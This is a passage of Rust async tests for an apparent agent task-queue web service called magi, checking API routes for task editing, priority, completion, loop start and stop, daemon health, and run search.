16750            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16751            assert_eq!(outcome.max_attempts, detail.max_attempts);
16752        }
16753        for value in [
16754            serde_json::json!(0),
16755            serde_json::json!(-1),
16756            serde_json::json!(1.5),
16757            serde_json::json!("3"),
16758            serde_json::json!(true),
16759        ] {
16760            assert_eq!(
16761                change(value).await.err().unwrap().status,
16762                StatusCode::BAD_REQUEST
16763            );
16764        }
16765        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16766        let claim = q.claim(&t.id).unwrap();
16767        assert_eq!(
16768            change(serde_json::json!(4)).await.err().unwrap().status,
16769            StatusCode::CONFLICT
16770        );
16771        drop(claim);
16772        for status in [
16773            TaskStatus::Running,
16774            TaskStatus::Done,
16775            TaskStatus::Failed,
16776            TaskStatus::Blocked,
16777            TaskStatus::Parked,
16778        ] {
16779            let mut stored = q.get(&t.id).unwrap();
16780            stored.status = status;
16781            q.put(&mut stored).unwrap();
16782            assert_eq!(
16783                change(serde_json::json!(4)).await.err().unwrap().status,
16784                StatusCode::BAD_REQUEST
16785            );
16786            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16787        }
16788        let mut stored = q.get(&t.id).unwrap();
16789        stored.status = TaskStatus::Queued;
16790        q.put(&mut stored).unwrap();
16791        let _ = change(serde_json::Value::Null).await.unwrap();
16792        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16793    }
16794
16795    #[tokio::test]
16796    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16797        let dir = TempDir::new().unwrap();
16798        let repo = dir.path().join("repo");
16799        std::fs::create_dir(&repo).unwrap();
16800        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16801        let q = Queue::at(dir.path().join("queue"));
16802        let ui = Arc::new(Ui::new(
16803            q.clone(),
16804            Questions::at(dir.path().join("questions")),
16805            Talks::at(dir.path().join("talks")),
16806            dir.path().join("runs"),
16807            dir.path().to_path_buf(),
16808            repo.clone(),
16809        ));
16810        let mut t = Task::new(
16811            "seats".into(),
16812            "keep instruction".into(),
16813            repo,
16814            Source::Human,
16815        );
16816        t.runs.push("prior-run".into());
16817        t.hold_manual(Some("waiting".into()));
16818        q.put(&mut t).unwrap();
16819        let change = |count| {
16820            queue_implementers(
16821                State(ui.clone()),
16822                Path(t.id.clone()),
16823                Ok(Json(ImplementersBody {
16824                    implementers: count,
16825                })),
16826            )
16827        };
16828        for count in [2, 1, 2] {
16829            let response = change(count).await.unwrap();
16830            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16831            let saved = q.get(&t.id).unwrap();
16832            assert_eq!(saved.implementers(), Some(usize::from(count)));
16833            assert_eq!(saved.runs, t.runs);
16834            assert_eq!(saved.instruction, t.instruction);
16835        }
16836        for count in [0, 4] {
16837            assert_eq!(
16838                change(count).await.err().unwrap().status,
16839                StatusCode::BAD_REQUEST
16840            );
16841        }
16842        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16843        let claim = q.claim(&t.id).unwrap();
16844        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16845        drop(claim);
16846        for status in [
16847            TaskStatus::Running,
16848            TaskStatus::Done,
16849            TaskStatus::Failed,
16850            TaskStatus::Blocked,
16851            TaskStatus::Parked,
16852        ] {
16853            let mut stored = q.get(&t.id).unwrap();
16854            stored.status = status;
16855            q.put(&mut stored).unwrap();
16856            assert_eq!(
16857                change(1).await.err().unwrap().status,
16858                StatusCode::BAD_REQUEST
16859            );
16860            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16861        }
16862    }
16863
16864    #[tokio::test]
16865    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16866        let f = Fixture::start().await;
16867        let queue = f.queue();
16868        let mut task = Task::new(
16869            "in flight".to_owned(),
16870            "x".to_owned(),
16871            PathBuf::from("/repo/magi"),
16872            Source::Human,
16873        );
16874        task.start("20260902-140502-bbbb".to_owned());
16875        queue.put(&mut task).expect("file the task");
16876
16877        let res = f
16878            .post(
16879                &format!("/api/queue/{}/priority", task.id),
16880                Some(r#"{"priority":9}"#),
16881            )
16882            .await;
16883        assert_eq!(res.status, 400, "{}", res.body);
16884        assert!(
16885            res.json()["error"]
16886                .as_str()
16887                .is_some_and(|e| e.contains("running")),
16888            "{}",
16889            res.body
16890        );
16891        assert_eq!(
16892            queue.get(&task.id).expect("reload").priority,
16893            0,
16894            "the refused write must not partially apply"
16895        );
16896    }
16897
16898    #[tokio::test]
16899    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16900        let f = Fixture::start().await;
16901        let queue = f.queue();
16902        let mut task = Task::new(
16903            "old title".to_owned(),
16904            "old instruction".to_owned(),
16905            PathBuf::from("/repo/magi"),
16906            Source::Agent {
16907                run: "20260101-000000-beef".to_owned(),
16908                node: "implement".to_owned(),
16909            },
16910        );
16911        task.runs.push("20260101-000000-beef".to_owned());
16912        queue.put(&mut task).expect("file the task");
16913        let created_at = task.created_at;
16914
16915        let edited = f
16916            .post(
16917                &format!("/api/queue/{}/edit", task.id),
16918                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16919            )
16920            .await;
16921        assert_eq!(edited.status, 200, "{}", edited.body);
16922        let body = edited.json();
16923        assert_eq!(body["title"], "new title");
16924        assert_eq!(body["instruction"], "new instruction");
16925        assert_eq!(body["id"], task.id, "editing must not mint a new id");
16926        assert_eq!(body["created_at"], created_at.to_string());
16927        assert_eq!(
16928            body["source"]["kind"], "agent",
16929            "editing a task an agent filed must not turn it human: {body}"
16930        );
16931        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16932
16933        let reloaded = queue.get(&task.id).expect("reload");
16934        assert_eq!(reloaded.title, "new title");
16935        assert_eq!(reloaded.instruction, "new instruction");
16936    }
16937
16938    #[tokio::test]
16939    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16940        // The judge is an agent now: a repo whose only agent answers
16941        // "duplicate" stands in for it, so the refusal is the judge's.
16942        let tmp = TempDir::new().expect("tempdir");
16943        let repo = tmp.path().join("repo");
16944        std::fs::create_dir_all(&repo).expect("repo dir");
16945        let judge = MOCK_AGENT_TOML.replace(
16946            "printf ok",
16947            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16948        );
16949        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16950        let f = Fixture::with_repo(repo.clone()).await;
16951        let queue = f.queue();
16952        let mut owner = Task::new(
16953            "owner".to_owned(),
16954            "review it".to_owned(),
16955            repo.clone(),
16956            Source::Human,
16957        );
16958        owner.review_branch = Some("magi/ab12/A".to_owned());
16959        queue.put(&mut owner).expect("file the owner");
16960        let mut task = Task::new(
16961            "draft".to_owned(),
16962            "old".to_owned(),
16963            repo.clone(),
16964            Source::Human,
16965        );
16966        queue.put(&mut task).expect("file the draft");
16967        let url = format!("/api/queue/{}/edit", task.id);
16968
16969        let refused = f
16970            .post(
16971                &url,
16972                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16973            )
16974            .await;
16975        assert_eq!(refused.status, 409, "{}", refused.body);
16976        let msg = refused.json()["error"]
16977            .as_str()
16978            .unwrap_or_default()
16979            .to_owned();
16980        assert!(
16981            msg.contains("magi/ab12/A") && msg.contains("force"),
16982            "{msg}"
16983        );
16984        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16985
16986        let forced = f
16987            .post(
16988                &url,
16989                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16990            )
16991            .await;
16992        assert_eq!(forced.status, 200, "{}", forced.body);
16993    }
16994
16995    #[tokio::test]
16996    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16997        let f = Fixture::start().await;
16998        let queue = f.queue();
16999        let mut task = Task::new(
17000            "in flight".to_owned(),
17001            "do not touch".to_owned(),
17002            PathBuf::from("/repo/magi"),
17003            Source::Human,
17004        );
17005        task.start("20260902-140502-bbbb".to_owned());
17006        queue.put(&mut task).expect("file the task");
17007
17008        let res = f
17009            .post(
17010                &format!("/api/queue/{}/edit", task.id),
17011                Some(r#"{"title":"x","instruction":"y"}"#),
17012            )
17013            .await;
17014        assert_eq!(res.status, 400, "{}", res.body);
17015        assert!(
17016            res.json()["error"]
17017                .as_str()
17018                .is_some_and(|e| e.contains("running")),
17019            "{}",
17020            res.body
17021        );
17022        assert_eq!(
17023            queue.get(&task.id).expect("reload").instruction,
17024            "do not touch",
17025            "the refused edit must not change the file"
17026        );
17027    }
17028
17029    #[tokio::test]
17030    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17031        let f = Fixture::start().await;
17032        let queue = f.queue();
17033        let mut task = Task::new(
17034            "busy".to_owned(),
17035            "Running right now".to_owned(),
17036            PathBuf::from("/repo/magi"),
17037            Source::Human,
17038        );
17039        queue.put(&mut task).expect("file the task");
17040        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17041
17042        let priority = f
17043            .post(
17044                &format!("/api/queue/{}/priority", task.id),
17045                Some(r#"{"priority":9}"#),
17046            )
17047            .await;
17048        assert_eq!(priority.status, 409, "{}", priority.body);
17049
17050        let edit = f
17051            .post(
17052                &format!("/api/queue/{}/edit", task.id),
17053                Some(r#"{"title":"x","instruction":"y"}"#),
17054            )
17055            .await;
17056        assert_eq!(edit.status, 409, "{}", edit.body);
17057    }
17058
17059    #[tokio::test]
17060    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17061        let f = Fixture::start().await;
17062        let queue = f.queue();
17063        let mut task = Task::new(
17064            "shipped by hand".to_owned(),
17065            "merged outside the loop".to_owned(),
17066            PathBuf::from("/repo/magi"),
17067            Source::Agent {
17068                run: "20260101-000000-b455".to_owned(),
17069                node: "implement".to_owned(),
17070            },
17071        );
17072        task.runs.push("20260101-000000-b455".to_owned());
17073        task.runs.push("20260101-000000-9af4".to_owned());
17074        queue.put(&mut task).expect("file the task");
17075        let created_at = task.created_at;
17076
17077        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17078        assert_eq!(done.status, 200, "{}", done.body);
17079        assert_eq!(done.json()["status_str"], "done");
17080
17081        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17082        assert_eq!(
17083            reloaded.runs,
17084            ["20260101-000000-b455", "20260101-000000-9af4"]
17085        );
17086        assert_eq!(
17087            reloaded.source,
17088            Source::Agent {
17089                run: "20260101-000000-b455".to_owned(),
17090                node: "implement".to_owned(),
17091            }
17092        );
17093        assert_eq!(reloaded.created_at, created_at);
17094    }
17095
17096    #[tokio::test]
17097    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17098        // `done` is allowed on any status, including `held`, with no release
17099        // in between - so a task held for a reason and then closed directly
17100        // must not keep reading as "waiting on" it afterwards, on its card or
17101        // in `magi task show`.
17102        let f = Fixture::start().await;
17103        let queue = f.queue();
17104        let mut task = Task::new(
17105            "landed while held".to_owned(),
17106            "x".to_owned(),
17107            PathBuf::from("/repo/magi"),
17108            Source::Human,
17109        );
17110        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17111        queue.put(&mut task).expect("file the held task");
17112
17113        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17114        assert_eq!(done.status, 200, "{}", done.body);
17115        assert_eq!(done.json()["status_str"], "done");
17116        assert!(
17117            done.json()["hold_reason"].is_null(),
17118            "a done task cannot still be waiting on something: {}",
17119            done.body
17120        );
17121    }
17122
17123    #[tokio::test]
17124    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17125        // `queue_done` is the phone's way to close a task the loop never
17126        // settled itself - after confirming a manual GitHub merge, say - and
17127        // that is just as much "this task's story is over" as the loop's own
17128        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17129        let f = Fixture::start().await;
17130        let queue = f.queue();
17131        let runs = f.runs();
17132        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17133        // The last attempt has to have actually landed for the earlier one
17134        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17135        // for the case where it didn't.
17136        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17137
17138        let mut task = Task::new(
17139            "landed by hand".to_owned(),
17140            "x".to_owned(),
17141            PathBuf::from("/repo/magi"),
17142            Source::Human,
17143        );
17144        task.runs.push("20260101-000000-doa1".to_owned());
17145        task.runs.push("20260101-000000-doa2".to_owned());
17146        queue.put(&mut task).expect("file the task");
17147
17148        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17149        assert_eq!(done.status, 200, "{}", done.body);
17150
17151        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17152            .expect("run still on disk under this fixture's own home");
17153        assert_eq!(
17154            reloaded_run.status,
17155            RunStatus::Superseded,
17156            "closing the task by hand must relabel the earlier blocked attempt exactly \
17157             like the loop's own settle path does"
17158        );
17159    }
17160
17161    #[tokio::test]
17162    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17163        // Closing a task by hand is allowed from any status, including one
17164        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17165        // manual merge the loop never watched, say. Nothing here is provably
17166        // why the task is done, so nothing earlier gets relabelled either.
17167        let f = Fixture::start().await;
17168        let queue = f.queue();
17169        let runs = f.runs();
17170        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17171        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17172
17173        let mut task = Task::new(
17174            "closed with nothing actually landed".to_owned(),
17175            "x".to_owned(),
17176            PathBuf::from("/repo/magi"),
17177            Source::Human,
17178        );
17179        task.runs.push("20260101-000000-dob1".to_owned());
17180        task.runs.push("20260101-000000-dob2".to_owned());
17181        queue.put(&mut task).expect("file the task");
17182
17183        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17184        assert_eq!(done.status, 200, "{}", done.body);
17185
17186        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17187            .expect("run still on disk under this fixture's own home");
17188        assert_eq!(
17189            reloaded_run.status,
17190            RunStatus::Blocked,
17191            "the last recorded attempt never landed, so the earlier one must not be \
17192             relabelled as superseded by it"
17193        );
17194    }
17195
17196    #[tokio::test]
17197    async fn unknown_ids_are_json_not_found_on_both_stores() {
17198        let f = Fixture::start().await;
17199
17200        let run = f.get("/api/runs/nosuchrun").await;
17201        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17202
17203        assert_eq!(run.status, 404);
17204        assert_eq!(task.status, 404);
17205        assert!(
17206            run.json()["error"]
17207                .as_str()
17208                .is_some_and(|e| e.contains("run")),
17209            "the error names what was not found: {}",
17210            run.body
17211        );
17212        assert!(
17213            task.json()["error"]
17214                .as_str()
17215                .is_some_and(|e| e.contains("task")),
17216            "the error names what was not found: {}",
17217            task.body
17218        );
17219    }
17220
17221    #[tokio::test]
17222    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17223        let f = Fixture::start().await;
17224
17225        let missing = f.get("/api/health").await.json();
17226        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17227
17228        write_daemon(
17229            f.home.path(),
17230            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17231        );
17232        let stale = f.get("/api/health").await.json();
17233        assert_eq!(
17234            stale["daemon"]["running"], false,
17235            "a minute without a heartbeat is a dead daemon, not a busy one"
17236        );
17237        assert!(
17238            stale["daemon"]["stale_for_secs"]
17239                .as_i64()
17240                .is_some_and(|s| s >= 55),
17241            "staleness is reported so the UI can say how long: {stale}"
17242        );
17243
17244        write_daemon(f.home.path(), Timestamp::now());
17245        let fresh = f.get("/api/health").await.json();
17246        assert_eq!(fresh["daemon"]["running"], true);
17247        assert_eq!(fresh["daemon"]["idle"], false);
17248        assert_eq!(fresh["daemon"]["pid"], 4242);
17249        assert_eq!(fresh["daemon"]["completed"], 7);
17250        assert_eq!(
17251            fresh["daemon"]["current"][0]["task"],
17252            "20260902-140501-aaaa"
17253        );
17254        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17255    }
17256
17257    #[tokio::test]
17258    async fn the_loop_is_not_running_until_something_starts_it() {
17259        let f = Fixture::start().await;
17260
17261        let view = f.get("/api/loop").await.json();
17262        assert_eq!(view["running"], false);
17263        assert_eq!(
17264            view["owned"], false,
17265            "nobody owns a loop that does not exist: {view}"
17266        );
17267        assert_eq!(view["stopping"], false);
17268        assert_eq!(view["last_error"], Value::Null);
17269        assert_eq!(view["daemon"]["running"], false);
17270        assert_eq!(
17271            view["repo"], "/repo/magi",
17272            "the repository a start would use, named before it is started"
17273        );
17274    }
17275
17276    #[tokio::test]
17277    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17278        let f = Fixture::start().await;
17279
17280        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17281        assert_eq!(res.status, 200, "{}", res.body);
17282        let view = res.json();
17283        assert_eq!(view["running"], true);
17284        assert_eq!(
17285            view["owned"], true,
17286            "the loop the UI started is the UI's own to stop: {view}"
17287        );
17288        assert_eq!(
17289            view["merge"],
17290            Value::Null,
17291            "no override was given, so each repository's own config decides"
17292        );
17293
17294        // The same object from the route a waking phone polls first. Two
17295        // surfaces disagreeing about whether anything is running is exactly
17296        // the confusion this UI exists to remove.
17297        let health = f.get("/api/health").await.json();
17298        assert_eq!(health["loop"]["running"], true, "{health}");
17299        assert_eq!(health["loop"]["owned"], true, "{health}");
17300
17301        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17302    }
17303
17304    #[tokio::test]
17305    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17306        let f = Fixture::start().await;
17307        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17308        assert_eq!(first.status, 200, "{}", first.body);
17309
17310        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17311        assert_eq!(
17312            again.status, 409,
17313            "two loops on one queue race for the same claims: {}",
17314            again.body
17315        );
17316        assert!(
17317            again.json()["error"]
17318                .as_str()
17319                .is_some_and(|e| e.contains("already running the loop")),
17320            "the refusal has to say why: {}",
17321            again.body
17322        );
17323        assert_eq!(
17324            f.get("/api/loop").await.json()["running"],
17325            true,
17326            "and the loop that was already running is untouched by it"
17327        );
17328
17329        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17330    }
17331
17332    #[tokio::test]
17333    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17334        let f = Fixture::start().await;
17335        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17336
17337        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17338        assert_eq!(
17339            res.status, 200,
17340            "the answer must not wait for the loop: a run in flight is tens of \
17341             minutes and the operator is holding a phone: {}",
17342            res.body
17343        );
17344
17345        let view = settled(&f, |v| v["running"] == false).await;
17346        assert_eq!(view["owned"], false);
17347        assert_eq!(
17348            view["stopping"], false,
17349            "a loop that has stopped is not still stopping: {view}"
17350        );
17351        assert_eq!(
17352            view["last_error"],
17353            Value::Null,
17354            "a loop that was asked to stop did not fail: {view}"
17355        );
17356
17357        // Idempotent, because the operator cannot tell a slow stop from a lost
17358        // one and will press it again.
17359        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17360        assert_eq!(twice.status, 200, "{}", twice.body);
17361    }
17362
17363    #[tokio::test]
17364    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17365        let f = Fixture::start().await;
17366        // How the operator has been doing it: a `magi serve` of their own,
17367        // heartbeat fresh, in the same home this UI reads.
17368        write_daemon(f.home.path(), Timestamp::now());
17369
17370        let view = f.get("/api/loop").await.json();
17371        assert_eq!(view["running"], false, "not in this process: {view}");
17372        assert_eq!(view["owned"], false, "and not this process's to control");
17373        assert_eq!(
17374            view["daemon"]["running"], true,
17375            "but a loop is alive somewhere, which is what the UI must say"
17376        );
17377        assert_eq!(view["daemon"]["pid"], 4242);
17378
17379        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17380            let res = f.post("/api/loop", Some(body)).await;
17381            assert_eq!(
17382                res.status, 409,
17383                "neither button may pretend to work on someone else's loop: {}",
17384                res.body
17385            );
17386            assert!(
17387                res.json()["error"]
17388                    .as_str()
17389                    .is_some_and(|e| e.contains("4242")),
17390                "the refusal has to name the process the operator must go to: {}",
17391                res.body
17392            );
17393        }
17394        assert_eq!(
17395            f.get("/api/loop").await.json()["running"],
17396            false,
17397            "and the refusal started nothing"
17398        );
17399    }
17400
17401    #[tokio::test]
17402    async fn a_stale_status_file_is_not_a_foreign_owner() {
17403        let f = Fixture::start().await;
17404        write_daemon(
17405            f.home.path(),
17406            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17407        );
17408
17409        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17410        assert_eq!(
17411            res.status, 200,
17412            "a daemon killed a minute ago must not lock the loop out of its \
17413             own home for good: {}",
17414            res.body
17415        );
17416        assert_eq!(res.json()["running"], true);
17417
17418        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17419    }
17420
17421    #[tokio::test]
17422    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17423        let f = Fixture::start().await;
17424        let before = f.get("/api/health").await.json()["loop_rev"]
17425            .as_u64()
17426            .expect("a loop revision");
17427
17428        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17429
17430        let after = f.get("/api/health").await.json()["loop_rev"]
17431            .as_u64()
17432            .expect("a loop revision");
17433        assert!(
17434            after > before,
17435            "the loop is in-process state, so this counter is the only thing \
17436             that tells a second device the first one started it: {before} -> \
17437             {after}"
17438        );
17439
17440        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17441    }
17442
17443    #[tokio::test]
17444    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17445        let f = Fixture::with_loop(launch_broken).await;
17446
17447        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17448        assert_eq!(
17449            res.status, 200,
17450            "starting it is not the failure: {}",
17451            res.body
17452        );
17453
17454        let view = settled(&f, |v| v["last_error"].is_string()).await;
17455        assert_eq!(
17456            view["running"], false,
17457            "a loop that died must not read as running, or the operator has \
17458             nothing to press: {view}"
17459        );
17460        assert_eq!(view["owned"], false);
17461        assert!(
17462            view["last_error"]
17463                .as_str()
17464                .is_some_and(|e| e.contains("read-only file system")),
17465            "the phone is where a loop that died at 3am is visible: {view}"
17466        );
17467
17468        // And it can be started again: the corpse was reaped, not left to
17469        // occupy the slot.
17470        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17471        assert_eq!(again.status, 200, "{}", again.body);
17472        assert!(
17473            again.json()["last_error"]
17474                .as_str()
17475                .is_none_or(|e| !e.contains("read-only file system")),
17476            "a fresh start does not keep showing why the last one died: {}",
17477            again.body
17478        );
17479    }
17480
17481    /// An upgrade parks the run in flight before it restarts, and a park waits
17482    /// for the node - up to `timeout_implement`, an hour by default. The deck
17483    /// has to answer for all of it: the operator has just been told a run is
17484    /// finishing first, and this address is the only place that says how it is
17485    /// going. It did not, once - the listener went with the `select!` arm that
17486    /// began the handover, and the phone got `Cannot reach magi: Failed to
17487    /// fetch` for the rest of the wave.
17488    ///
17489    /// The other half is the older rule: the address must be free *before* the
17490    /// successor is started, or it dies on "address already in use" with its
17491    /// stdio sent to null and the deck never comes back.
17492    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17493    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17494        let home = TempDir::new().expect("temp home");
17495        let runs = home.path().join("runs");
17496        std::fs::create_dir_all(&runs).expect("runs dir");
17497        let ui = Ui::new(
17498            Queue::at(home.path().join("queue")),
17499            Questions::at(home.path().join("questions")),
17500            Talks::at(home.path().join("talks")),
17501            runs,
17502            home.path().to_path_buf(),
17503            PathBuf::from("/repo/magi"),
17504        )
17505        .with_worktrees_root(home.path().join("wt"))
17506        .with_launch(launch_knocking_on_the_way_out);
17507        let looping = ui.looping();
17508        let turns = ui.turns();
17509        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17510            .await
17511            .expect("bind loopback");
17512        let addr = listener.local_addr().expect("local addr");
17513        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17514        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17515
17516        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17517        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17518
17519        // The successor's whole job, and the one thing it cannot do while this
17520        // process still holds the socket.
17521        //
17522        // One bind is not enough, and the reason is not this process's order of
17523        // operations: aborting the accept loop drops the listener, but axum
17524        // serves each accepted connection on a task of its own, and those are
17525        // not aborted. The requests above left sockets on this very address,
17526        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
17527        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
17528        // Production absorbs that in `bind_waiting`; so does this. Only
17529        // `AddrInUse` is retried, and the listener is released before the
17530        // closure returns - were the order wrong, the listener would outlive
17531        // the closure and every attempt would fail. Inferred from the bind
17532        // rules and the code; not reproduced on macOS.
17533        let bound = std::sync::Mutex::new(None);
17534        hand_over(
17535            home.path(),
17536            &looping,
17537            &turns,
17538            &|_: &[String]| Duration::from_secs(5),
17539            served,
17540            |_| {
17541                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17542                let attempt = loop {
17543                    match std::net::TcpListener::bind(addr) {
17544                        Ok(l) => {
17545                            drop(l);
17546                            break Ok(());
17547                        }
17548                        Err(e)
17549                            if e.kind() == std::io::ErrorKind::AddrInUse
17550                                && std::time::Instant::now() < deadline =>
17551                        {
17552                            std::thread::sleep(std::time::Duration::from_millis(10));
17553                        }
17554                        Err(e) => break Err(e.to_string()),
17555                    }
17556                };
17557                *bound.lock().expect("bound") = Some(attempt);
17558                Ok(1)
17559            },
17560        )
17561        .await
17562        .expect("hand over");
17563
17564        assert_eq!(
17565            *PARK_HEARD.lock().expect("park heard"),
17566            Some(200),
17567            "the deck must answer while the loop is parking"
17568        );
17569        let attempt = bound
17570            .lock()
17571            .expect("bound")
17572            .take()
17573            .expect("the successor was started");
17574        assert!(
17575            attempt.is_ok(),
17576            "and the address must be free by the time it is: {attempt:?}"
17577        );
17578    }
17579
17580    #[tokio::test]
17581    async fn a_newer_daemon_status_file_still_renders() {
17582        let f = Fixture::start().await;
17583        // A field this build has never heard of must not turn the status line
17584        // into a 500; that is the whole reason the reader is permissive.
17585        std::fs::write(
17586            f.home.path().join("daemon.json"),
17587            serde_json::json!({
17588                "schema": 2,
17589                "updated_at": Timestamp::now().to_string(),
17590                "idle": true,
17591                "surprise": { "nested": [1, 2, 3] },
17592            })
17593            .to_string(),
17594        )
17595        .expect("write daemon.json");
17596
17597        let health = f.get("/api/health").await;
17598
17599        assert_eq!(health.status, 200);
17600        assert_eq!(health.json()["daemon"]["running"], true);
17601    }
17602
17603    #[tokio::test]
17604    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17605        let f = Fixture::start().await;
17606        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17607        let broken = f.runs().join("20260902-140502-bad");
17608        std::fs::create_dir_all(&broken).expect("run dir");
17609        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17610
17611        let list = f.get("/api/runs").await;
17612        let detail = f.get("/api/runs/20260902-140502-bad").await;
17613
17614        assert_eq!(list.status, 200);
17615        let listed = list.json();
17616        let ids: Vec<&str> = listed
17617            .as_array()
17618            .expect("an array")
17619            .iter()
17620            .map(|r| r["id"].as_str().expect("an id"))
17621            .collect();
17622        assert_eq!(
17623            ids,
17624            vec!["20260902-140501-good"],
17625            "one unreadable run must not cost the operator the whole history"
17626        );
17627        assert_eq!(detail.status, 500);
17628        assert!(
17629            detail.json()["error"]
17630                .as_str()
17631                .is_some_and(|e| e.contains("run.json")),
17632            "the failure names the file to look at: {}",
17633            detail.body
17634        );
17635        // A skipped run has to be countable somewhere, or the UI shows an
17636        // empty history with nothing to explain it - which is exactly what a
17637        // directory full of older-schema runs looks like.
17638        let health = f.get("/api/health").await;
17639        assert_eq!(health.json()["runs_unreadable"], 1);
17640    }
17641
17642    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17643    #[tokio::test]
17644    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17645        let f = Fixture::start().await;
17646        let runs = f.runs();
17647        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17648        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17649        // Text three levels down, in a shape no current RunState has: an older
17650        // schema must still search.
17651        let path = runs.join("20260902-140502-bbbb").join("run.json");
17652        let mut v: serde_json::Value =
17653            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17654        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17655        std::fs::write(&path, v.to_string()).unwrap();
17656        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17657        std::fs::write(
17658            runs.join("20260902-140503-cccc").join("run.json"),
17659            "{ not json",
17660        )
17661        .unwrap();
17662
17663        let res = f.get("/api/search?scope=runs&q=quokka").await;
17664        assert_eq!(res.status, 200, "{}", res.body);
17665        let v = res.json();
17666        assert_eq!(v["total"], 1, "{v}");
17667        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17668        assert_eq!(v["hits"][0]["field"], "text");
17669        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17670        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17671        assert!(
17672            parts
17673                .iter()
